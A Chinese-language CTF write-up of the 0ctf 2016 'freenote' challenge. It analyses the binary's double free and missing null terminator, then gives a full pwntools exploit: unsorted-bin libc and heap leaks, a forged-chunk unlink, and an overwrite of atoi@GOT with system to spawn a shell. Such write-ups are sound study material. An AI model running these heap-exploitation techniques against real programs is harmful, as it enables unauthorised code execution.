0ctf-2016-freenote

image-20200723095956138

结构体

  • node结构体
00000000 note_s          struc ; (sizeof=0x18, mappedto_6)
00000000 ; XREF: headptr/r
00000000 inuse dq ?
00000008 size dq ?
00000010 info dq ? ; offset
00000018 note_s ends
  • head结构体
00000000 headptr         struc ; (sizeof=0x1810, mappedto_8)
00000000 max dq ?
00000008 count dq ?
00000010 node_list note_s 256 dup(?)
00001810 headptr ends

函数分析

head_init

headptr *head_init()
{
headptr *v0; // rax
headptr *result; // rax
signed int i; // [rsp+Ch] [rbp-4h]

v0 = (headptr *)malloc(0x1810uLL);
head = v0;
v0->max = 256LL;
result = head;
head->count = 0LL;
for ( i = 0; i <= 255; ++i )
{
head->node_list[i].inuse = 0LL;
head->node_list[i].size = 0LL;
result = (headptr *)((char *)head + 24 * i + 32);
result->max = 0LL;
}
return result;
}
  • 初始化256个node

list

int list()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]

if ( head->count <= 0 )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = head->max;
if ( (signed int)i >= head->max )
break;
if ( head->node_list[i].inuse == 1 )
printf("%d. %s\n", i, head->node_list[i].info);
}
}
return v0;
}
  • 打印所有已使用的node信息

new

int new()
{
__int64 v0; // rax
char *note; // ST18_8
int i; // [rsp+Ch] [rbp-14h]
int len; // [rsp+10h] [rbp-10h]

if ( head->count < head->max )
{
for ( i = 0; ; ++i )
{
v0 = head->max;
if ( i >= head->max )
break;
if ( !head->node_list[i].inuse )
{
printf("Length of new note: ");
len = read_int32();
if ( len > 0 )
{
if ( len > 4096 )
len = 4096;
note = (char *)malloc((128 - len % 128) % 128 + len);
printf("Enter your note: ");
read_note(note, len);
head->node_list[i].inuse = 1LL;
head->node_list[i].size = len;
head->node_list[i].info = note;
++head->count;
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}
  • 从前到后遍历chunklist, 当inuse为0的时候, 在那个堆块malloc了note的空间, 注意的是, size是不可任意malloc的, 因为设置了自动对齐的运算, size大小只能是128*n (n > 0), 这就导致我们无法直接申请fastbin
  • 实现了read函数, 输入size后必须输入满足你的size才能结束输入循环

edit

int edit()
{
headptr *v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = read_int32();
if ( v3 < 0 || v3 >= head->max || head->node_list[v3].inuse != 1 )
return puts("Invalid number!");
printf("Length of note: ");
v2 = read_int32();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != head->node_list[v3].size )
{
v1 = head;
v1->node_list[v3].info = (char *)realloc(head->node_list[v3].info, (128 - v2 % 128) % 128 + v2);
head->node_list[v3].size = v2;
}
printf("Enter your note: ");
read_note(head->node_list[v3].info, v2);
return puts("Done.");
}
  • edit函数并没有限制编辑的次数, 而且要注意的是, 当size不一样的时候, 程序会调用realloc函数

read_note

__int64 __fastcall read_note(char *a1, signed int a2)
{
signed int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; i < a2; i += v4 )
{
v4 = read(0, &a1[i], a2 - i);
if ( v4 <= 0 )
break;
}
return (unsigned int)i;
}

其中 read_note 函数, 在读取一个字符以后, 并没有将后一位置为结束符\x00, 可能造成信息泄露

delte

int delte()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( head->count <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v1 = read_int32();
if ( v1 < 0 || v1 >= head->max )
return puts("Invalid number!");
--head->count;
head->node_list[v1].inuse = 0LL;
head->node_list[v1].size = 0LL;
free(head->node_list[v1].info);
return puts("Done.");
}
  • 程序并没有check堆块是否 inuse , 且 fre e后指针没有置空, double free漏洞

攻击思路

  1. 首先要获得程序基址, 可以采用unsorted bin attack来leak libc的基址。

    1. 可申请的堆块大小最小为 0x80(small bin’s chunk), 在free后, 这种堆块会先进入 unsorted bin 中, 并且堆块中会存在 fd 和 bk 指针, 第一个 free 的堆块将会将 fd 和 bk 指向 main_arena。

    2. 再分配相同大小的堆块, 内核会把这个堆块再次分配回来, 结合读取内容时缺少结束符, 通过 list 函数可以输出 bk 指针, 泄露出 main_arena 的地址。

      unsorted_bin_chunks

    3. 由于 main_arena 与 libc 之间的偏移是固定的, 所以可以计算出 libc 的基址

    4. 同理泄露 heap 地址

  2. 泄露 libc 的地址后, 可以加载给出的 libc 文件取得必要的函数地址, 泄露 heap 地址后, 在 double free 触发 unlink 过程中就可以构建 fd 和 bk 指针了

步骤

泄露 libc 的基址

  1. 新建 chunk0、chunk1 (chunk1 用于防止 free 时 chunk0 和 top chunk 合并)

    new("a" * 8) # 0
    new("b" * 8) # 1

    此时 heap 状态

    image-20200727154039895
  2. free chunk0

    free(0)

    此时 chunk0 进入 unsorted bin 中, 且 fd 和 bk 指向 main_arena

    image-20200727154152544

  3. 新建一个大小和 chunk0 相同的堆块, 此时内核将从 unsorted bin 中把 chunk0 重新分配回来, 我们需要填入8个字节来leak main_arena 地址。

    new("a" * 8) # 0

    可以看到此时 chunk0 的内存中除我们输入的 “a” * 8 以外后面跟着 main_arena 的地址

    image-20200727154415537

    此时就可以打印出 main_arena 的地址

    show(0)
    # 接收 main_arena 地址
    ru("a" * 8)
    mainarena_addr = u64(rv(6) + b"\x00\x00")

    image-20200727154505515

    此时就可以计算 libc 的基址了

    # 0x7ffff7dd4b78 - 0x7ffff7a39000 = 0x39bb78
    libc.address = mainarena_addr - 0x39bb78

    image-20200727154536140

    还原堆状态

    free(0) # 0
    free(1) # 1

泄露 heap 的地址

  1. 新建4个 chunk

    new("a" * 8) # 0
    new("b" * 8) # 1
    new("c" * 8) # 2
    new("d" * 8) # 3

    3号 chunk 用于防止 free(2) 时 2号被 top chunk 合并

    此时 heap 状态

    image-20200727154934167

  2. 释放 0 号 和 2 号堆块

    free(0) # 0
    free(2) # 2

    此时 chunk0 ->bk 位置存放了 chunk2 的地址, 我们就可以同泄露 libc 的基址来泄露 heap 的地址

    image-20200727155030781

  3. 申请回 0 号堆块 并泄露

    new("e" * 8) # 0
    show()
    ru("e" * 8)
    chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))

    image-20200727155115677

    计算 heap 偏移来泄露 heap 地址

    # 0x604940 - 0x603000 = 0x1940
    heap_addr = chunk0_addr - 0x1940

    image-20200727152341343

    还原堆状态

    free(0) # 0
    free(1) # 1
    free(3) # 3
  1. 获得system, binsh, atoi@got地址

    system_addr = libc.symbols["system"]
    binsh_addr = libc.search(b"/bin/sh").__next__()
    atoi_addr = elf.got["atoi"]
  2. 新建3个chunk 并 free 掉

    new("a" * 0x80)
    new("a" * 0x80)
    new("a" * 0x80)

    free(0)
    free(1)
    free(2)
  3. 构造 payload 绕过安全检查机制

    payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60
    payload += p64(0x80) + p64(0x90) + b'b' * 0x80
    payload += p64(0x0) + p64(0x91) + b'c' * 0x60

    new(payload)

    free(1)
    • 这个chunk大小为前面创建的三个 chunk 大小之和

    • 伪造的 chunk0 和 chunk1 信息如下

      image-20200727155715436

    • 这时 free(1) 就会触发 unlink 机制, 把 chunk0 进行 unlink, 而在 unlink 的解链操作中, 就会把 head_ptr 中 node[0].info 的对应的地址最终指向自己(node[0])

    • free(1)操作后 伪造的 chunk1 和 chunk0 合并后的 chunk 被 free 入 unsorted bin 中

      image-20200727160015253

      node[0].info 指向自己

      image-20200727160602159

  4. 此时进行 edit(0) 操作就是在修改 node[0] 自己

    payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)

    edit(0, payload2.ljust(len(payload), b'b'))

    修改后node[0].info 指向 atoi@got.plt

    image-20200727161221174

  5. 再次修改, 将atoi@got.plt修改指向system

    payload3 = p64(system_addr)
    edit(0, payload3)

    image-20200727161425403

  6. 这时我们将/bin/sh的地址发过去就能get shell

    image-20200727161624674

完整Exp

python3

from pwn import *

p = process("./freenote", env={"LOAD_PRELOAD":"./libc.so.6"})
elf = ELF("./freenote")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']

ru = p.recvuntil
rv = p.recv
sla = p.sendlineafter
sa = p.sendafter

def log_addr(s, addr):
log.success(s + hex(addr))

def dbg(s):
gdb.attach(p, s)

def show():
sla("choice: ", "1")

def new(data):
sla("choice: ", "2")
sla("new note: ", str(len(data)))
sa("your note: ", data)

def edit(idx, data):
sla("choice: ", "3")
sla("Note number:", str(idx))
sla("Length of note:", str(len(data)))
sa("your note: ", data)

def free(idx):
sla("choice: ", "4")
sla("Note number: ", str(idx))

new("a" * 8) # 0
new("b" * 8) # 1

free(0)

new("a" * 8) # 0

show()

ru("a" * 8)
mainarena_addr = u64(rv(6) + b"\x00\x00")
log_addr("main_arena addr: ", mainarena_addr)

libc.address = mainarena_addr - 0x39bb78
log_addr("libc addr: ", libc.address)

free(0) # 0
free(1) # 1

new("a" * 8) # 0
new("b" * 8) # 1
new("c" * 8) # 2
new("d" * 8) # 3

free(0) # 0
free(2) # 2

new("e" * 8) # 0
show()
ru("e" * 8)
chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))
log_addr("chunk0 addr: ", chunk0_addr)

heap_addr = chunk0_addr - 0x1940
log_addr("heap addr: ", heap_addr)

free(0) # 0
free(1) # 1
free(3) # 3

system_addr = libc.symbols["system"]
binsh_addr = libc.search(b"/bin/sh").__next__()
atoi_addr = elf.got["atoi"]
log_addr("system addr: ", system_addr)
log_addr("/bin/sh addr: ", binsh_addr)
log_addr("atoi@got addr: ", atoi_addr)
new("a" * 0x80)
new("a" * 0x80)
new("a" * 0x80)

free(0)
free(1)
free(2)

payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60
payload += p64(0x80) + p64(0x90) + b'b' * 0x80
payload += p64(0x0) + p64(0x91) + b'c' * 0x60

log.success("[*] payload len: " + hex(len(payload)))

new(payload)

free(1)

payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)

edit(0, payload2.ljust(len(payload), b'b'))

payload3 = p64(system_addr)
edit(0, payload3)

pause()
p.sendline(p64(binsh_addr))

p.interactive()